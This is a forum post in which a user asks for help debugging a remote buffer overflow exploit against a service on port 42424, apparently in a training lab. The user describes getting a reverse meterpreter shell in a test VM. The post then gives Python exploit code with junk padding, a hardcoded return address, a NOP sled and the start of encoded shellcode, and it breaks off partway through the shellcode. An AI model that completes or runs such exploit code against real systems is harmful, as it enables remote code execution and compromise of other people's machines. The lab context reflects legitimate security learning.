Can someone please help me with my BOF code

Recommended Posts

Hi I am attempting to exploit a remote buffer overflow as part of a test lab environment. 

The exploit works fine in a Windows 7 test VM and i can get a reverse meterpreter to my Kali Linux VM with ASLR turned off on the Windows VM.

However when I attempt this in the test environment against the machine that I know is running the application on port 42424 I do not get the reverses shell now i have tried this with both x86 and x64 shellcode, if i test locally on the Kali machine i can crash the application but again also do not get a shell my exploit code is below 

#!/usr/bin/env python2
import socket

ServiceManagerIP = "127.0.0.1"
ServiceManagerPort = 42424

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ServiceManagerIP, ServiceManagerPort))


payload = "\xc3"*146    #Junk Bytes
#77E9F7DF

payload += "\xDF\xF7\xE9\x77" + "\x90" *16

#Shellcode to be executed by application

payload += ("\xdb\xca\xd9\x74\x24\xf4\xb8\x0b\x9d\x83\x98\x5f\x2b\xc9\xb1"
